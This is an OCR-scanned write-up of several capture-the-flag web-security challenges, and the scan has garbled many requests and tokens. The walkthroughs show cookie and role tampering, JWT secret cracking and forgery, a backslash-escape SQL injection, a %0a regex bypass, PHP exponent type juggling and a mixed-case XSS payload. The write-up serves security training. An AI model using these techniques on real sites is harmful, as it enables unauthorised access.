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1. SECRET BLOG

Challenge Name: Secret Blog

|TRCIC LA Web Security 5 Level: medium
492 Times () Solved: 365 Times

B Challenge Description

D

I

Only Blog Admins can see the flag, could you be one of them?

http://18.193.124.146/secretblog/

We start oft with this challenge called secret blog, the description of the
challenge states that “only blog admin can see the flag, could you be one of

them?”

Clicking on the provided link we are redirected to a webpage which has a

login.
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Secret Blog
Username
Password

I looked at the source code and there was nothing interesting there, I tried

looking at robots.txt and the page returned a 404.

The next step was for me to try default credentials which included username
and password: admin which logged be on the website and found the below
message which said I had to be an admin to get the flag.

© 0 35.205.49.73/secretblog/flagphp v @ g1 Qseacn

Flag

Success: You logged in! Not sure you'll be able to see the flag though.

Sorry admin, no flag for you!

In order to get the flag we had to understand how the requests are being
send from the user to the server, so I went back to the login page then
inserted the username and password and then intercepted the request using

burpsuite.
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POST /secretblog/login.php HTTP/1.1

Host: 35.225.49.73

User-Agent: Mozilla/5.0 (Windows NT 10.0; WingE4; xE4; rv:84.0) Gecko/Z01l001l01
Firefox/84.0

Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image/webp,*/*,;q=0.8
Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: I9

Origin: http://35.225.45.73

Connection: close

Referer: http://35.225.49.73/secretblog/

Cookie: username=admin; password=admin; admin=Falsﬂ
Upgrade-Insecure-Requests: 1 -

Username=adminépassword=admin

Examining the request I had seen the username and password fields that
we were sending to the server and examining further I had seen on the

cookie that the admin was set to false

Changing the parameter of the cookie from admin=False; to admin=True;

and forwarded the request to the server

GET /secretblog/flag.php HTTP/1l.1

Host: 35.225.49.73

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; xE4; rv:B4.0) Gecko/IZ0100101
Firefox/84.0

Accept: text/html,application/xhtml+xml, application/xml;q=0.9,inage/webp,*/*,;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: g=zip, deflate

Referer: http://35.225.459.73/secrethlog/

Connection: close

Cookie: username=admin; password=admin; admin=True

Upgrade-Insecure-Recquests: 1
Cache-Control: max-age=0

After checking out the out put as shown below we had obtained the flag.
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<div class="container">»
<div class="header">
<h3 class="text-muted">
Flag
</h3>
</div>

<div class="alert alert-success alert-dismissible" role="alert" id="myAlert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">gtimes;</span>
</button>
Success: You logged in! Not sure youif#39;11 be able to ses the flag though.
<fdiv>

<div class="jumbotron">
“<p class="lead">
</p>
<p style="text-align:center; font-size:30px;">
<h>
flag{I_l0v3_CoOki3s_M4nipuldtiOn}
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2. Admin Gate First

Challenge Name: admin gate first

Ta Category: WA medium EROCEIC WSl 3 years ago
B - o BT
Diffucallity Level ® Rating @

Basic Advanced

2 Challenge Description

Flag is safe in the admin account info

http://35.197.254.240/admingatefirst/

This challenge was called admin gate first. Its description states that “ the flag
is safe in the admin acoount info”, meaning that in order to access the flag

we need to get to the account of the admin.

Opening the provided link we are greeted with a login page with some

credentials which we can use to login the website.

O & 35.197.254.240/admingatefirst/

Welcome

User : test
Pass : test

User

User

Password

Password
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Login the website we see that the site says welcome and shows the user that
logged in and its role. Now its up to use to find a way to change our role

from user to admin.

< C O & 35.197.254.240/admingatefirst % Q search

Welcome

User : test
Pass : test

Welcome Logged User
{"username":"test","role":"user"}

Next, I had to intercept the traffic with burpsuite and see what I was dealing
with. I logged out and logged back in with the credentials and intercepted
the traffic and started to examine the request. I noticed under cookie there
was an authentication that was been sent to the server every time a user tries

to login as shown below

Bt w =

! GET /admingatefirst/ HTTP/1.1
Host: 35.197.254.240
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:89.0) Gecko/Z0100101 Firefox/85.0

i Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

¢ Accept-Encoding: gzip, deflate
Connection: close
Cookie: authzeyJQeXAi0iJKVIQALCINDCCiOiITUZTINITS evIkVXPhI oielyidlcnShhWVelipeInRlc3RelixcInIvbGyelipeInVz2XIcIn0i £0. X5Py092ZdaCEeHIZe3C S Pacycole]03iaibkIvaoF.
Upgrade-Insecure-Requests: 1

Taking the authentication code and inserted it on burpsuite decider and
used base64 to decode the authentication code and we noticed that it was a

JWT —Json Web Token as shown below.



i FK-IT

W THE ETHICAL WAY CYBER TALENTS CTF (WEB) | Kharim Mchatta

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options

{"typ":"JWI", "al
g":"HS25€"}.{"da

00000000
00000010
00000020
00000030
00000040
00000050
000000€0

nnnnnnnn

2a\"e er\"}"f
Q.1#20€]1a!-0100-
ROBOAESY3 -0 00DT

B e SN

JSON is an open standard used to share security information between two
parties a client and a server. They are usually used for authorization, for
more information on JWT just watch this YouTube video through the

following link

https://youtu.be/7Q17ubglLfaM

I took the authentication key and pasted it on in an online decoder on the

below link

https://jwt.i0/

and pasted the code and could see in a better view the content of the JW'T.

E n COd ed PASTE A TOKEN HERE DeCOd ed EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

eyJ0eXAiO1JKV1QILCJIhbGeiOiJIUZIINiJ9.eyJkY XRhIj

oielwidXNlem5hbWVcljpcInRIc3RclixeInJvbGVeljpeln { .
V2ZXJcIn0ifQ.XSPy0jZd3 CEtHI2e3C 1SjPaewcoljO3iaj i1
bkJy20FQ) }

PAYLOAD: DATA

"data": "{\"username'":\"test\".\"role\":\"user\"}"
1
5

VERIFY SIGNATURE


https://youtu.be/7Q17ubqLfaM
https://jwt.io/
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We could see that it the authentication was for the user test who had the
role of user in the system. Next step 1s to try and crack the JWT token and

then get the secret key.

[ made use of a tool called jwt-cracker ( https://Imammino.github.io/jwt-

cracker/ ) but you could also use a tool from github called jwtcat (

https://github.com/AresS31/jwtcat )

Cracking the token and we get the key which 1s 123456

The next step would be changing the role to admin and inserting the key
in the verify signature section. Once those changes are made you can copy

the new JWT token ready for use.

HEADER:
eyJ0eXAiO1JKV1QIiLCIhbGeiOIIUZIINII9.eyJk Y XRhIj

oiel widXNlem5hbWVeljpcInRIe3RelixcInJvbGVeljpelm U
% He ) et e Sty abeo "typ": "TWT",
FkbWIuXCJ9In0.jHijo7pYELY4DJG20h2xCRiKRqW3H

CdB1AnyOGsTNUx

PAYLOAD:!

VERIFY SIGNATURE

Going back to burpsuite we need to replace all the places which had the old
JWT tokens with the new one which has the modified role from user to

admin. This can be seen on the below image.


https://lmammino.github.io/jwt-cracker/
https://lmammino.github.io/jwt-cracker/
https://github.com/AresS31/jwtcat
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Request

pretty [0 Hex W =

1 GBT /admingatefirst/index.php?info=yes HTTP/1.1

2 Host: 35.197.254.240

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:89.0) Gecko/20100101 Firefox/83.0
Accept: application/jsen, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/json

5 Authorization: Bearer

eyJ0eXAi0iJKV1QiLCIhbGei0idIUZIINLTS. eyIkYXPhIjoielwidXNlenShhbWVeljpeInkle3RelixeIndvbGVeljpe InFkbWluXCISIn0. jHijo7pYELY4DJIG20h2xCRAKRGQWIHCAB 1Ay 0Gs THUw
= 2

10 Connection: close
11 Referer: http://35.197.254.240/admingatefirst/
12 Cookie: auth=eyJOeXA.

04JKV1QiLCIhbGei0iJIUZIINLTS. eyJkYXPhIjoielvwidXlemshbWVeljpeInRle3RelixeIndvhGVeljpe InFkbWluXCISIn0. $Hijo7pYELY4DIG20hxCRiIKRGWIHCABL ANy OGS THUW

@@ €[> | searc | 0matches

Response

oGl Raw Hex Render \n =

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Thu, OL Jul 2021 08:15:53 GMT
Content-Type: application/json;charset=utf-8
Connection: close

Allow: GET, POST, HEAD,OPTIONS
Content-Length: &1

3

5 {

"username":"test",
"role":"admin",
"flag": "J!W!T#S3cr3TA2018"

Once the request was submitted, we received our flag back.
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Challenge Name: Back to basics

jNEE T Web Security

Diffucallity Level ®

Basic Advanced

B Challenge Description

CYBER TALENTS CTF (WEB) | Kharim Mchatta

easy (@CEICOWANS 2 years ago

888 Times [ Points: 50

not pretty much many options. No need to open a link from a browser, there is always a different way

http://35.197.254.240/backtobasics

This challenge was called back to basics, it was a tricky challenge but at the

end of the day it was concurred. The challenge description was “not pretty

much many options. No need to open a link from a browser. There is always

a different way” as the description of the challenge states no need to open a

link from the browser well, they really meant it and you shall know why

shortly.

I took the link and pasted it on the browser and whenever I pasted it, it was

redirecting me back to google page. I was initially baffled with this but then

[ decided to send the request to burpsuite and see what the reason of such

behavior is. After intercepting the traffic I had sent it to repeater to see what

was happening.
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bET /fbacktobasics/ HTITP/L.1

Host: 35.157.254.Z240

User-Agent: Mozilla/5.0 (Windows NT 1l0.0; WinE4d4; x&4.;
rv:84.0) Gecko/Z01l00101l Firefox/84.0

Accept:

text/html, application/xhtml+xml ,application/xml;q=0.9, inage/w
ebp, */*.q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: g=zip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

After sending the request I had seen that the website was allowing different
kind of HTTP Methods like GET, POST, HEAD and OPTIONS as shown
below, and as for our bafflement on why we were been redirected to google

is because of the script as seen below.

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Tue, 25 Dec Z0IZ0 09:32:0Z GHT
Content-Type: text/html; charset=UTF-8
Connection: close

Allow: GET, POST, HEAD,OPTIONS
Content-Length: &5

<script>
document . location = "http://vww. google.con";

<fscript>

Changing the Method from GET to POST and send the request to the

server we can see in the response space there is a obfuscated code.

| Request

Pretiy IGEVM Hex \n =

1 POST| /backtobasics/ HTTP/1.1

2 Host: 35.197.254.240

User-Agent: Mozilla/S5.0 (Windows NT 10.0; Winé4; xE4; rv:89.0) Geclko/20100101 Firefox/89.0
Accept: text/html, application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

S Accept-Language: en-US,en;q=0.5

€ Accept-Encoding: gzip, deflate

Connection: close

2 Upgrade-Insecure-Requests: 1

- W

)

Response

GOl Raw Hex Render \n =

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

3 Date: Fri, 09 Jul Z0Z1 09:51:41 GMT

4 Content-Type: text/html; charset=UTF-8
5 Connection: close

€ Allow: GET, POST, HEAD,OPTIONS

7 Content-Length: Z&0

ok

10 var _0x7£88=("","join", "reverse", "split", "log",6 "ceab0E8dSS522dc5E7177deB8009£323b2"]; function reverse |
=y
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Took the code to java beautifier ( https://beautifier.io/) so that the code

can be readable.

Online JavaScript Beautifier 1140

Beautify, unpack or deobfuscate JavaScript and HTML, make JSON/JSONP readable, e

All of the source code is completely free and open, available on GitHub under MIT licence,
and we have a command-line version, python library and a node package as well.

| Beautify JavaScript v|

| Beautify Code (-1 ciier) ||

1 function reverse(_Oxabe5x2) {
flag = _@xabe5x2['split']('')['reverse’']()['join']("")

4 console['log'] = reverse;
5 console['log']('ceab®68d9522dc567177de8009F323b2")

Reading the content of the obfuscated flag we notice that the code requires
us to reverse the string inside the 4th index in _0x6e5x2 variable. To reverse

it we had to write a script as shown below.

GNU nano 4.9.2 decoder-js.p

Running the code we get the flag as show in the below image

2b323£9008ed7717650cd2259d860ba ec

ploiter@thecybersamural-lab JE@» python3
Python 3.8.2 (default, Apr 1 , 15:52:55)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.

= "ceab068d9522dc567177de8009f323b2"[::-1]
>>> print(text)
2b323f9008ed771765cd2259d860baec

(> l



https://beautifier.io/
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4. Bean
Challenge Name: bean

jr RGO Web Security easy

& Tries: 2060 Times () Solved: 988 Times

B Challenge Description

Challenge Link: http://a527d14de858a4a2ab03e28¢cc2870f07-751037772.us-west-1.elb.amazonaws.com

This challenge was called bean where the description said, “ come back home
Mr Bean”. Opening up the link we just find a website with the image of
Mr. bean, I checked robots.txt and inspected element but it had nothing

useful.

Next, I went to brute force directory of the website to look for useful

directories and found one path which was /files.
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~/Desktop/cybertalents/bean

196/be. ST

[+] User Agent:
[+] Timeout

/files (Status: 301)
Progress: 7847 / 207644 (3.78%)]]

Then I went to the file path and found the server directories

(i) 52.28.216.196/bean/files

Index of /files/

;ﬁ i
alternatives/ B4-Mar-2021 18:20
apt/ 25-Apr-2017 17:19

cron.daily/ 24-Apr-2017 17:03
default/ 25-Apr-2017 17:20

Going back one step behind we find a home directory, going into the home

directory we see the flag

Index of /files../home/

i
flag.txt 18-Feb-2021 12:29 40

Viewing the content of the flag as shown below.

Kali Linux, an Offensive Se 52.28.216.196/bean/ ¥ 52.28.216.196/bean/files..|

= ¢ @ 52.28.216.196/bean/files

FLAG{Nginx_ nOt_alWays sEcUre_bY The waY}
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5. Big number
Challenge Name: Big Number

Tg Category: Web Security ,:E Level: medium

o Tries: 1960 Times () Solved: 674 Times

B Challenge Description

a big number is needed to save the world

PN http://35.240.62.111/bignumber/

This challenge was called big number where the challenge description says
that “a big number is needed to save the world” opening the provided link
it led me to a webpage which asked for a password, but the password should

be 3 numbers long and can exceed 999 in value as shown below

A Not secure | 35.240.62.111/bignumber/

Help The World With a Big Number

You can help the world by providing 3 numbers can exceed 999 in value:
Password:
Enter password

...... wanna source?

Submit

Clicking on the source tab a source code appeared which gave us a hint, as

shown below.

<?php if (isset($_GET['password’'])) {
if (is_numeric($_GET['password'])){
if (strlen($_GET['password']) < 4){
if ($_GET['password'] > 999)
die($flag);
else
print 'Too little';
} else
print 'Too long';
} else

print 'Password is not numeric’';



i\ F:K-IT

W THE ETHICAL WAY CYBER TALENTS CTF (WEB) | Kharim Mchatta

Basically, what the code is trying to highlight is we need a number where
the number is less than 4 and also more than 999 in value. Logically its
impossible to enter a number greater than 999 which is not 4 digits long

and the only solution to this is exponentials in mathematics.

Exponential can allow us to make the value of 1 digit number increase, we
need an exponential number that can give us a value more than 999 which
is 3 exponential 9 but submitting this as it is would not work so we need to

type its as 3e9 as the password.

Submitting the value and I get the flag

A Not secure | 35.240.62.111/bignumber/?password=3e9 w

Help The World With a Big Number

You can help the world by providing 3 numbers can exceed 999 in value:
Password:
Enter password

...... wanna source?

Submit

FLAG{Yes YOu C4n Use ExpOnential}
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6. Blue Inc

Challenge Name: Blue Inc.

easy ERLECEIC L 3 years ago

FREICEGII Web Security

2% Tries: 1779 Times

B Challenge Description

Blue Inc is a new social media website that's still under construction, However it doesn't have registration yet, but if you are interested in seeing
our website then you can login with demo/demo.

(? Link: http://35.240.62.111/blue_inc/chal1/

This challenge was called blue Inc where the challenge description says that
“Blue inc is a new sodal media website that is still under construction,
however it doesn’t have registration yet, but if you are interested in seeing the
website then you can login with demo/ demo” meaning that this was our way
in through the first entry point. Taking the provided link and pasting it on

the browser we are greeted by a webpage as shown below.

Kali Forums NetHunter || O =curity Exploit-DB GHDB ]| MSFU @ Hack The Box: Dashb.. E3ONLINE TOOLS

Home

Welcome to Blue Inc

Next Generation Social Network.
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We clicked on the login button and entered our given credentials
demo:demo and we logged in as demo. First thing that was visible to me
after login in was the URL, I noticed that the link points to a page called

profile.php which takes a parameter named user with value demo.

Kali Docs Kali Forums NetHunter [| Off rity Exploit-DB GHDB || MSFU @ Hack The Box :: Dashb.. ES ONLINETOOLS

Home

Welcome to Blue Inc

Next Generation Social Network.

Welcome to your profile demo!

You don't have any posts!

The next step was for me to try and modify the value from demo to admin,

and after executing it [ was given an access denied as shown below.

NetHunter || « curity xploit-DB GHDB ]| MSFU @ Hack The Box .. 3 ONLINE TOOLS

Home

Welcome to Blue Inc

Next Generation Social Network.

Access denied!
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Next, I opened up burp suite and intercepted the request, and understood

why initially my request was denied it was because I had changed only the

URL value from demo to admin but there was a cookie which had the

same parameter user and value demo which were supposed to be changed.

[ Dashboard TTarget T Proxy T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options ]

Send Cancel < | >|v

Request

J Raw T Params I Headers I Hex ]

Pretty m \n Actions

GET /blue_inc/challsprofile.php?user=demo HTTP/1.1
5 —
Host: 35.240.82.111

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://35. 240,62, 111/blue_inc/challsindex.php
Connection: close

9 Cookie: user=demo

10 Upgrade= -Requests; 1

11 Cache-Control: max-age=0

[ IO T IS

User-Agent: Mozilla/5.0 (¥11; Linux xB6_6&4; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,applications/xml;g=0.9,image/wehp,*/%;q=0.8

After making proper modification on the URL and cookie, when I sent the

request to the server, I finally got the flag as shown below.

Request Response
Raw Params Headers Hex Raw | Headers Hex
ety [ W Actions v Raw Render \n  Actions v

1 GET /blue_inc/chall/profile. php Juser=gduin HTTP/1.1

2 Host: 35,240.62,111

3 User-Agent: Mozilla/5.0 (¥11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xnl application/xnl;q=0.9,inage/webp, */+;q=0.5
S Accept-Language: en-US,en;g=0.5

6 Accept-Encoding: gzip, deflate

7 Referer: http://35,240,62,111/blue_inc/chall/index.php

& Connection: close

S Cookie_user=adninl

10 Upgrade-Insecure-Requests: 1

11 Cache-Control: max-age=0

12

13

a
r

66

<br/=
<h2=
Welcome to your profile <i>
admin
<fi>

|
</h2=
<br/=
<br/=
<br/=

The flag is: 157162249064 7296842816dcdb0s282
<ﬂd—c V=

</div>
</div>
</section>

In this challenge we were exploiting a vulnerability in the access control

and cookie



i\ FK-IT

w THE ETHICAL WAY CYBER TALENTS CTF (WEB) | Kharim Mchatta

1. Bypass world

Challenge Name: bypass the world

[REEIC O Web Security medium
896 Times () Solved: 544 Times

B Challenge Description

| Don't Care if the world is against you, but i believe that you can bypass the world

http://35.197.254.240/bypassworld/

The next challenge was called bypass the world where its description says
that “I don’t care if the world is against you, but I believe that you can bypass
the world” as the challenge says you can bypass the world, key word here is
bypass meaning that the challenge may involve some sort of filtering

mechanism bypass.

Looking at the provided link we are greeted by a login page. Tried login

in with default credentials (admin:admin) but it didn’t work.



i\ F:K-IT

W THE ETHICAL WAY CYBER TALENTS CTF (WEB) | Kharim Mchatta

35.197.254.240/bypassworld % Q search

Its been too long ,,, Let's Warm up

Username: |
Password:

| submit |

@ Wanna Source ... !l!

Then I tried checking out the hit button which was called wanna source

and we se a piece of code as shown below

Its been too long ,,, Let's Warm up

Username: |
Password:

| Submit |

wrong user or password

@ Wanna Source ... !l!

Bypass The World :)

$name = preg_replace(/\7/’, ", $name);
$pass = preg_replace(/\/', ", Spass);

$query = "SELECT * FROM users where name = ‘$name’ and password = ‘$pass’”

according to the above piece of code the user authentication is validated
through an SQL query. In the code we can see the string preg replace.

preg_replace searches for a string provided by the Source that matches the
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regex Pattern and replaces it with the specified Replacement. The other

part of the code shows the following pattern
/ is a delimiter that denotes the start and the end of the pattern
\ is used to escape the single quote and match * literally

This pattern will simply remove any single quote , single quotes were going
to be used to terminate that other single quote from the SQL query for both
name & password so we can inject our query. since the query is a string, we
can include a backslash (\) which is going to escape the single quote

following the $name variable so the query would be something like

Its been too long ,,, Let's Warm up

Username: ’ \ |

Password: | ....... |

| Submit |

| *Untitled - Notepad

File Edit Format View Help
or+1=1# - kept on password|

This payload could also be use OR 1=1 -- -

After executing the above payload which was going to bypass the filtering

mechanism in place, and we got the flag as shown in the below image.

Its been too long ,,, Let's Warm up

Username: [ \

Password: ’ ‘

[ Submit

Congratz
FLAG: FLAG{YOu_Ar3_S0_COOL_TO0d4y|
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8. Admin has power

Challenge Name: Admin has the power

T Category: Web Security easy

11459 Times (g) Solved: 5616 Times

=] Challenge Description

Administrators only has the power to see the flag, can you be one ?

http://35.193.45.56/adminpower/

This challenge is called admin has power, which has the description of
“administrators only has the power to see the flag can you be one?” looking

at the provided link we see it a login page.

35.193.45.56/adminpower/ o % 0 W

Username Username
Password Password

Sign in
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Looking at robots.txt and there was nothing useful there, next I went and
inspected the source code and found credentials to login in the website
page, sometime coders tend to insert hard coded comments so as to
remember what part of the code does what and this practice can come with
its consequence cause someone can forget to remove credentials in the hard

coded comments as shown below.

<meta charset="utf-8">

<meta http-equiv="X-UA-Compatible" content="IE=edge">

<meta name="viewport" content="width=device-width, initial-scale=1"»

<!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags --»
<title>Admin Panel</title>

<!-- Bootstrap --»
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeKldt

<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
<!--[if 1t IE 91>
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
<script srec="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>

<![endif]-->

<!-- TODO: remove this line , for maintenance purpose use this imfol(user:support password:x34245323)-->
</head>
<body>

Login in the page we see a message that says “Hi support, your privilege is
support, maybe you need better privileges” this basically means that we need

to gain access to the admin page.

35.193.45.56/adminpower/ w O §

Hi support

Your privilege is support , may be you need better
privilages !!
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Intercepting the request, we see that in the cookie there is a role which 1s

set to support.

POST fadminpower/ HTTP/1l.1

Host: 35.193.45.5&

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4,; xE4; rv:84.0)
Gecko/20100101 Firefox/84.0

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: 35

Origin: htcp: //35.193.45_56

Connection: close

Referer: http://35.193.45_ 5£/adninpower/

Caakiai rale=supgort;IPHPSESSID=unlpuqud93uhnt4flfijfaD
Upgrade-Insecure-Requests: 1

username=supportipassword=x34245323

The next thing is to change the role from support to admin and then send

the request back to the server

POST /adminpower/ HTTP/L1l.1

Host: 35.193.45.56

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x€4; rv:84.0) Gecko/Z0100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 35

Origin: http://35.193.45_5€

Connection: close

Referer: http://35.193 45 5&/adninpower/

Cookie: PHPSESSID=uq7lpuldqdSB8uhnt4 £1 £ £05 £a0

Upgrade-Insecure-Requests: 1

username=supportépassword=x34245323

After sending the request to the server and we inspect the result and get the

flag as shown below

</head>
<body>
<div class="container" style="padding-top :150px;"=
<div class="row">
<div class="col-sm-€ col-sm-offset-3">
<hl>
Hi admin
</hl>
<h3>
Admin Secret flag : _hiadminyouhavethepower
</h3>
</div>
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9. Catch me if you can

Challenge Name: catch me if you can

ts Category: RUEZ g Level: medium

B Challenge Description

I'm Just wanna Make Sure if you Are Mr.Robot

http://34.76.107.218/catchmeifyoucan/

The next challenge was called catch me if you can with the description of
“I’m just wanna make sure if you are not Mr. robot”. we take the URL

provided and run it, and we see that we have a website.

B C O 8 3476.107.218/catchmeifyoucan/ B &% Q serch o

This project consists of the isition of flood ies located adj; to the Park River (in the flood: (photos were provided). Ni 19)
properties have been identified as having substantial damages and are at high risk for future flood Once i these st will be put up for

bid for relocation outside the 100-year floodplain. Any unsold homes will be demolished and removed. The sites will then be deed restricted and become green
space.

Try Harder

‘Wanna Buy Exploit...

[ started by navigating round the website and there was nothing interesting,
then I went and examined the source code and there was nothing interesting
there too and finally trying robots.txt I found there were two files as shown

below.

= > C O & 34.76.107.218/catchmeifyoucan/robots.txt

User—-agent: *
Disallow: /S3cr3t.php

Disallow: /EETTRENNEN
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Checking out the path /S3a3t.php and find that there 1s a login page asking

for a password.

O & 34.76.107.218/catchmeifyoucan/S3cr3t.php {? Q search

@ This is a Restricted Area Give a Proof you are authorised

Password: | |

[ submit |

Wrong Password

Going to the second path /source.php we see that there is a code hinting to
the login page. Based on the code the password must end with R_4r3@ and

must contain numbers letters from a to z and numbers from 0 to 9

X ~7 C O & 34.76.107.218/catchmeifyoucan/source.php

<?php

include ('flag.php');

$password=$_POST['pass‘];

if (strpos( Spassword, “) 1= FALSE){
if (!'preg match('/A-2[a-z0-3]+§/m’', Spassword)) {
die ('ILLEGAL CHARACTERS'):;

}
echo $cipher;
}

else

{

echo 'Wrong Password';

}

2
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So, for this we need a function to bypass (break ) the preg _match function
which for our case we can use the value %0a (%0a is a URL encoding of a

new line) and based on the rule to bypass the filter out password would be

1997% 0aR_41r3%40 or 1997% 0aR_4r3@

&2 E
Request
Pretty \n  Actions Vv
1 POST /catchmeifyoucan/S3cr3t.php HTTP/1.1
Z Host: 34.7&£.107.218
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x&4; rv:89.0) Gecko/20100101 Firefox/89.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
€ Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
¢ Content-Length: 20
% Origin: http://34.76.107.218
10 Connection: close
1 Referer: http://34.7€.107.218/catchmeifyoucan/S3cr3t.php
12 Upgrade-Insecure-Requests: 1
;é pass=1997%0ak_4r3%40
@@ <12 | 0 mat:
Response
GG Raw Render \n  Adions Vv
<br>
[ m—————— >+<]>
b= 2 o el +<1>
— [m———— >+<]>
< [===>+4<]>
= [m———— >+<]>
L= [===>4<]>
— [===>4<]>
oo ===t ti ]
t. === [==>+++<]>
=t A >+<]>
FElH>——=<]s
-H[=>+4<]>
smmmm= stl=—=1te]5
egnlenn== >+<]>
- === >+<]>
S e i i i i
And we get a response of an obfuscated code which is called brain fuck for
us to decode in order to get the flag. Sending the codes in an online decoder
we get our flag as shown in the image below
@& dcode.fr/brainfuck-language * 0 U ®
‘ BRAINFUCK
Informatics > Programming Language - Brainfuck
S hf 1 BRAINFUCK INTERPRETER
earc or a too » BRAINF*CK CODE TO INTERPRET
+ SEARCH ATOOL ON DCODE BY KEYWORDS: N e s s T i et e
>+<]>. [---s4t<]m - [----- S o Sty Pl [ty DU
e.g. type 'boolean’ 4 B B PO Bl Pty LR ><]m ot [F4m--<]s
R B e e b st]ominlar=s <],
» BROWSE THE FULL DCODE TOOLS' LIST +.>-=[->4+4<]>
Results ® @ 8 +|x|x ®
Console # ARGUMENT
FL@g{R3StriCtld_Ar34 EECiE
eSS
See also: Leet Speak 1337 — Spoon — Ook!
MEmovy: BRAINFUCK ENCODER
[4] = R (82)

= » PLAINTEXT TO CODE IN BRAINF**K
6] = 3 GL dCode Brainfuck
[16] = r (114)



i\ F:K-IT

W THE ETHICAL WAY CYBER TALENTS CTF (WEB) | Kharim Mchatta

10. Cheers

Challenge Name: Cheers

Web Security E Level: easy
1896 Times 718 Times
B Challenge Description

Go search for what cheers you up

: http://ec2-54-93-122-202.eu-central-1.comp
y Llnk: ‘ } W8 ( !
ute.amazonaws.com/ch33r5/

The next challenge was called cheers which descriptions says “go search for
what cheers you up” funny description this one has but I opened the link

and a webpage was on.

« > C @ 0 & ec2-54-93-122-202 eu-central-1.compute.amazonaws.com/ch33r5/ e @ % Q search

Ops!! Can You Fix This Error For Me Please ??!

Notice: Undefined index: welcome in /var/www/html/ch3315/index_php on line 14

And we see that there is a php error on page, now let us try to fix it. From
the error message from the page, it says there is an undefined index called
welcome. So, I took the parameter welcome and inserted it in the URL

like ip/ ch33r5/?welcome and got another php error page.

<« C ® O 4 ec2-54-93-122-202.eu-central-1.compute.amazonaws.com/ch33r5/7welcome=1  *** @ %

Hello !

Notice: Undefined index: gimme_flag in /var/www/html/ch33r5/index php on line 19
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Next [ sent both the first unified index and the second one which looked

like 1p/ ch33r5/?welcome&gimme_flag and got the flag.

<« c @ U £ ec2-54-93-122-202.eu-central-1.compute.amazonaws.com/ch33r5/7welcome=1&gimme_flag=1
Hello !

FLAG{k33p_c4lm_st4rt_c0d'ng}
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11. Cool name effect
Challenge Name: Cool Name Effect

easy

J RO \Web Security

o Tries: 4208 Times () Solved: 2934 Times

i
1

B Challenge Description

Webmaster developed a simple script to do cool effects on your name, but his code not filtering the inputs correctly execute javascript alert and

prove it

http://34.77.37.110/cool-effect/

The next challenge was called cool name effect with the description of
“webmaster developed as simple script to do cool effects on your name, but
his code not filtering the inputs correctly execute java saipt alert and prove
it” this challenge basically wants us to perform a cross site script (XSS) on

the page. Opening the page we see a website where you can type anything.

Name Jane Doe Go!

I started by typing the word test and see what will happen and see that it

displayed the string on the page as shown on the below image.

Name Jane Doe Go!

\est\ng his Pa,
e
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Next, I had sent a XSS payload and see how the page reacts and we can see
that the word script is being filtered and being replaced by the word

forbidden, this means that there is some sort of filtering mechanism at the

backend that does this.
34.77.37.110/cool-effect/?name= <script>alert(1) < %2Fscript> w  Q searct
Name | Jane Doe Go!

For this we can make use of HTML tags which are case insensitive, this
means that we can make the script tag letters with a mixture of lower and
upper-case letters which is going to be interpreted no different than a lower-
case script tag. The script would be as follows <ScRiPt>alert(1)</ScRiPt>
and by executing this it bypasses the current filter and pop up an alert which

give us our flag as shown in the image below.

@ 34.77.37.110

your flag isiciyypjz
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12. Easy Access

Challenge Name: Easy access

T Category: Web Security easy

7% Tries: 866 Times (E) Solved: 497 Times

=] Challenge Description

Only superpower makes you see unlimited view.

The next challenge was called Easy Access which had a description of
“ Only superpower makes you see unlimited view” from the description they
are referring to the admin page. Went to the link they had provided, and

a login page appeared.

O B ec2-35-158-236-1 1.eu-central-1.compute.amazonaws.com/easy-access/ o

Login

username

Password

[J Remember Me

Forgot Your Password?

